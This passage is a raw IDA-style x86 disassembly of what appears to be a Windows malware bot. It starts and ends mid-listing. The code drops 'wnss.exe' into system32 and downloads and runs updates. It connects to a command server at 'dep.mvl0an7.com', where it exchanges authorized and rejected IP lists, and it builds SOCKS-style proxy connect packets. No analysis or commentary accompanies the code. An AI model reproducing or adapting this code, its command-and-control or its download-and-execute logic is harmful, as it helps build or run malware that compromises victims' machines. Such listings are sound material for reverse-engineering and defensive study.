		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		test	ebx, ebx
		jz	short loc_40376B
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		jmp	short loc_403772
; ---------------------------------------------------------------------------


loc_40376B:				; CODE XREF: sub_403723+31j
		mov	[ebp+var_844], 0


loc_403772:				; CODE XREF: sub_403723+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_40378B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		jmp	short loc_40379E
; ---------------------------------------------------------------------------


loc_40378B:				; CODE XREF: sub_403723+53j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_40379E:				; CODE XREF: sub_403723+66j
		test	ebx, ebx
		jz	short loc_4037B5
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_4037B5:				; CODE XREF: sub_403723+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_4037DF
		push	offset asc_40EDC9 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_4037DF:				; CODE XREF: sub_403723+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_403832
		push	[ebp+var_850]
		call	dword_411CF8
		test	esi, esi
		jz	short loc_403823
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_40382F
; ---------------------------------------------------------------------------


loc_403823:				; CODE XREF: sub_403723+F4j
		push	[ebp+var_854]
		call	dword_411CF8


loc_40382F:				; CODE XREF: sub_403723+FEj
		xor	eax, eax
		inc	eax


loc_403832:				; CODE XREF: sub_403723+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403838	proc near		; CODE XREF: sub_40399A+65p

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF0
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_403871
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_403871:				; CODE XREF: sub_403838+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF4
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_4038A7
		push	edi
		call	dword_411EF8
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_403838+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_4073C0
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4038E0
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EF8
		push	edi
		call	dword_411EF8
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038E0:				; CODE XREF: sub_403838+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		call	dword_411D14
		jmp	short loc_403918
; ---------------------------------------------------------------------------


loc_4038FD:				; CODE XREF: sub_403838+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_403933
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407820
		add	esp, 10h


loc_403918:				; CODE XREF: sub_403838+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411EFC
		test	eax, eax
		jnz	short loc_4038FD


loc_403933:				; CODE XREF: sub_403838+C9j
		call	dword_411CE8
		mov	[ebp+var_408], eax
		push	esi
		call	sub_407620
		pop	ecx
		push	ebx
		call	dword_411EF8
		push	edi
		call	dword_411EF8
		cmp	[ebp+var_408], 0
		jz	short loc_40397D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D18
		xor	eax, eax
		jmp	short loc_403993
; ---------------------------------------------------------------------------


loc_40397D:				; CODE XREF: sub_403838+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_403993:				; CODE XREF: sub_403838+34j
					; sub_403838+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403838	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399A	proc near		; DATA XREF: sub_403C3F+361o
					; DMN1:004462C1o

var_3400	= byte ptr -3400h
var_2400	= byte ptr -2400h
var_1400	= byte ptr -1400h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_2400],	0
		mov	[ebp+var_1000],	0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D1C
		lea	eax, [ebp+var_2400]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D20
		lea	eax, [ebp+var_2400]
		push	eax
		push	esi
		call	sub_403838
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_403B21
		lea	eax, [ebp+var_2400]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D1C
		lea	eax, [ebp+var_1000]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D20
		mov	edi, dword_4128A4
		push	0
		lea	eax, [ebp+var_1000]
		push	eax
		push	edi
		call	dword_411D24
		test	eax, eax
		jz	loc_403B21
		push	80h
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D28
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2400]
		push	eax
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset asc_40ECEC ; "\"	\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_403B21


loc_403B14:				; CODE XREF: sub_40399A+185j
		push	1770h
		call	dword_411D00
		jmp	short loc_403B14
; ---------------------------------------------------------------------------


loc_403B21:				; CODE XREF: sub_40399A+6Ej
					; sub_40399A+CCj ...
		push	0
		push	offset dword_411014
		call	dword_411D04
		lea	eax, [ebp+var_2400]
		push	eax
		call	sub_407710
		pop	ecx
		test	eax, eax
		jz	short loc_403B4C
		lea	eax, [ebp+var_2400]
		push	eax
		call	dword_411D18


loc_403B4C:				; CODE XREF: sub_40399A+1A3j
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_407710
		pop	ecx
		test	eax, eax
		jz	short loc_403B6A
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D18


loc_403B6A:				; CODE XREF: sub_40399A+1C1j
		push	ebx
		call	sub_401076
		pop	ecx
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40399A	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403B7E	proc near		; CODE XREF: sub_403C3F:loc_403E14p
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_403B7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B83	proc near		; CODE XREF: sub_403C3F+13Bp
					; sub_403C3F+14Dp
		xor	eax, eax
		retn
sub_403B83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B86	proc near		; CODE XREF: sub_403C3F+2C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_41285C
		call	dword_411CCC
		cmp	[ebp+arg_8], 0
		jnz	short loc_403BAE
		push	dword_412934
		call	sub_401F9B
		pop	ecx


loc_403BAE:				; CODE XREF: sub_403B86+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_403BF6
; ---------------------------------------------------------------------------


loc_403BBF:				; CODE XREF: sub_403B86+72j
		push	0
		push	dword ptr [esi]
		push	dword_412934
		call	sub_402049
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_406DE0
		push	eax
		mov	eax, dword_412934
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_2
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_403BF6:				; CODE XREF: sub_403B86+37j
		test	ebx, ebx
		jg	short loc_403BBF
		push	offset dword_41285C
		call	dword_411CD0
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403B86	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_403C28
; ---------------------------------------------------------------------------


loc_403C1C:				; CODE XREF: DMN0:00403C32j
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_403C28:				; CODE XREF: DMN0:00403C1Aj
		cmp	edi, 4000h
		jge	short loc_403C34
		test	ebx, ebx
		jnz	short loc_403C1C


loc_403C34:				; CODE XREF: DMN0:00403C2Ej
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C3F	proc near		; DATA XREF: sub_40400E+Fo
					; DMN1:0044633Eo

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_41285C
		call	dword_411CCC
		push	dword_412934
		call	sub_401F9B
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_403C87
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403C87
		test	eax, eax
		jnz	short loc_403C8C


loc_403C87:				; CODE XREF: sub_403C3F+3Bj
					; sub_403C3F+42j
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403C8C:				; CODE XREF: sub_403C3F+46j
		mov	[ebp+var_16], 24EAh
		xor	esi, esi
		and	[ebp+var_C], 0
		push	0
		push	offset dword_411024
		call	dword_411D04
		cmp	dword_411004, 0
		jnz	short loc_403CCA
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_403CCA:				; CODE XREF: sub_403C3F+6Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_402449
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1C], eax
		push	eax
		call	sub_406DE0
		mov	[ebp+var_20], eax
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_20]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_2
		add	esp, 0Ch
		and	[ebp+var_10], 0
		call	sub_401359
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_403FB9
		push	[ebp+var_10]
		call	sub_4019C3
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_2
		pop	ecx
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		push	[ebp+var_10]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403D68
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403D68:				; CODE XREF: sub_403C3F+117j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_2
		pop	ecx
		mov	[ebp+var_24], 1000h
		call	sub_403B83
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_403B83
		test	eax, eax
		jz	short loc_403D99
		or	[ebp+var_24], 1


loc_403D99:				; CODE XREF: sub_403C3F+154j
		push	[ebp+var_24]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_401D76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403DC1
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DC1:				; CODE XREF: sub_403C3F+170j
		push	offset word_40EC12
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403DEA
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DEA:				; CODE XREF: sub_403C3F+199j
		test	byte ptr [ebp+var_24], 1
		jz	loc_403EA1
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	10004h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		and	[ebp+var_28], 0


loc_403E14:				; CODE XREF: sub_403C3F+1F8j
		call	sub_403B7E
		mov	edi, eax
		test	edi, edi
		jz	short loc_403E39
		mov	edx, [ebp+var_2C]
		mov	[edx], edi
		mov	eax, [ebp+var_2C]
		add	eax, 4
		mov	[ebp+var_2C], eax
		inc	[ebp+var_28]
		cmp	[ebp+var_28], 3FFFh
		jl	short loc_403E14


loc_403E39:				; CODE XREF: sub_403C3F+1DEj
		mov	eax, [ebp+var_28]
		add	eax, eax
		add	eax, eax
		push	eax
		push	[ebp+var_30]
		push	100h
		push	esi
		call	sub_401B8F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403E6F
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset sub_40EBB5
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403E6F:				; CODE XREF: sub_403C3F+215j
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403EA1
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EA1:				; CODE XREF: sub_403C3F+1AFj
					; sub_403C3F+250j ...
		push	0FFFFh
		push	0
		lea	eax, [ebp+var_2]
		push	eax
		push	esi
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_403FB9
		movzx	eax, [ebp+var_2]
		mov	[ebp+var_28], eax
		cmp	eax, 200h
		jz	short loc_403EE0
		cmp	eax, 201h
		jz	short loc_403F21
		cmp	eax, 202h
		jz	short loc_403EF0
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403EE0:				; CODE XREF: sub_403C3F+28Cj
		push	offset word_40EB76
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EF0:				; CODE XREF: sub_403C3F+29Aj
		push	offset byte_40EB69
		call	nullsub_2
		pop	ecx
		push	[ebp+var_C]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_403B86
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403FB4
		mov	[ebp+var_C], 1
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403F21:				; CODE XREF: sub_403C3F+293j
		test	ebx, ebx
		jnz	short loc_403F2E
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_403F2E:				; CODE XREF: sub_403C3F+2E4j
		push	dword ptr [esi+470h]
		push	offset sub_40EB56
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_403FB4
		push	dword ptr [esi+470h]
		call	sub_407710
		pop	ecx
		test	eax, eax
		jz	short loc_403FB4
		push	0
		push	offset dword_411014
		call	dword_411D2C
		test	eax, eax
		jnz	short loc_403FB4
		push	1
		push	offset dword_411014
		call	dword_411D04
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_2C], eax
		push	dword ptr [esi+470h]
		push	[ebp+var_2C]
		call	sub_407730
		pop	ecx
		pop	ecx
		push	offset sub_40EB3C
		call	nullsub_2
		pop	ecx
		push	[ebp+var_2C]
		push	0
		push	offset sub_40399A
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8


loc_403FB4:				; CODE XREF: sub_403C3F+29Cj
					; sub_403C3F+2D0j ...
		jmp	loc_403EA1
; ---------------------------------------------------------------------------


loc_403FB9:				; CODE XREF: sub_403C3F:loc_403C87j
					; sub_403C3F+E6j ...
		test	esi, esi
		jz	short loc_403FC4
		push	esi
		call	sub_401A3B
		pop	ecx


loc_403FC4:				; CODE XREF: sub_403C3F+37Cj
		cmp	[ebp+var_10], 0
		jz	short loc_403FD3
		push	[ebp+var_10]
		call	sub_4014C2
		pop	ecx


loc_403FD3:				; CODE XREF: sub_403C3F+389j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_2
		pop	ecx
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FEA	proc near		; CODE XREF: sub_403FEA+21j
					; DATA XREF: sub_404967+26Bo ...
		call	sub_403658
		test	eax, eax
		jz	short loc_404000
		call	sub_40512B
		push	0
		call	dword_411D30


loc_404000:				; CODE XREF: sub_403FEA+7j
		push	3E8h
		call	dword_411D00
		jmp	short sub_403FEA
sub_403FEA	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40400E	proc near		; DATA XREF: sub_404967+248o
					; DMN1:00446ED0o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0


loc_404019:				; CODE XREF: sub_40400E+A4j
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_4079D0
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D34
		mov	eax, esi
		push	eax
		call	dword_411CF8
		cmp	dword_411030, 0
		jz	short loc_4040B7
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_40409A
; ---------------------------------------------------------------------------


loc_404074:				; CODE XREF: sub_40400E+8Ej
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D00
		sub	ebx, 2
		call	sub_403658
		test	eax, eax
		jz	short loc_40409A
		xor	ebx, ebx


loc_40409A:				; CODE XREF: sub_40400E+64j
					; sub_40400E+88j
		test	ebx, ebx
		jg	short loc_404074
		push	offset asc_40EADA ; "\r			     \r"
		call	nullsub_2
		pop	ecx
		cmp	dword_411030, 0
		jz	short loc_4040B7
		jmp	loc_404019
; ---------------------------------------------------------------------------


loc_4040B7:				; CODE XREF: sub_40400E+39j
					; sub_40400E+A2j
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40400E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040C3	proc near		; CODE XREF: sub_4067B0+3DFp
					; sub_4067B0+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E40
		test	eax, eax
		jz	short loc_40410A
		cmp	[ebp+var_44], 6
		jnb	short loc_4040EC
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_4040EC:				; CODE XREF: sub_4040C3+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D38
		test	eax, eax
		jz	short loc_404107
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_404107:				; CODE XREF: sub_4040C3+3Ej
		xor	eax, eax
		inc	eax


loc_40410A:				; CODE XREF: sub_4040C3+1Dj
					; sub_4040C3+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4040C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40410E	proc near		; CODE XREF: sub_405B88+1p
					; sub_405CA2:loc_405D18p ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_40411C
		xor	eax, eax
		jmp	short loc_404160
; ---------------------------------------------------------------------------


loc_40411C:				; CODE XREF: sub_40410E+8j
		xor	ebx, ebx
		push	offset a_win32__wnss_u ; "_win32__wnss_um__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_40415E
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_40415E
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CF8
		and	dword_411028, 0


loc_40415E:				; CODE XREF: sub_40410E+2Bj
					; sub_40410E+38j
		mov	eax, ebx


loc_404160:				; CODE XREF: sub_40410E+Cj
		pop	ebx
		retn
sub_40410E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404162	proc near		; CODE XREF: sub_405B88+3Dp
					; sub_405CA2+5Ap ...
		cmp	dword_411028, 0
		jz	short locret_40417E
		push	dword_411028
		call	dword_411CF8
		and	dword_411028, 0

locret_40417E:				; CODE XREF: sub_404162+7j
		retn
sub_404162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40417F	proc near		; CODE XREF: sub_4041FB+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40417F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B9	proc near		; CODE XREF: sub_4041FB+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4041B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041FB	proc near		; CODE XREF: sub_4042CD+1F8p
					; sub_4042CD+3B4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_40420B
		xor	bl, bl
		inc	bl


loc_40420B:				; CODE XREF: sub_4041FB+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_404233
		movzx	eax, bl
		mov	bl, byte_411034[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_40417F
		add	esp, 10h
		jmp	short loc_40424A
; ---------------------------------------------------------------------------


loc_404233:				; CODE XREF: sub_4041FB+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_4041B9
		add	esp, 10h


loc_40424A:				; CODE XREF: sub_4041FB+36j
		pop	ebx
		pop	ebp
		retn
sub_4041FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40424D	proc near		; CODE XREF: sub_4042CD+182p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_404255:				; CODE XREF: sub_40424D+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_40426C
		xor	eax, eax
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426C:				; CODE XREF: sub_40424D+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_404255
		xor	eax, eax
		inc	eax


loc_404275:				; CODE XREF: sub_40424D+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40424D	endp


; =============== S U B	R O U T	I N E =======================================

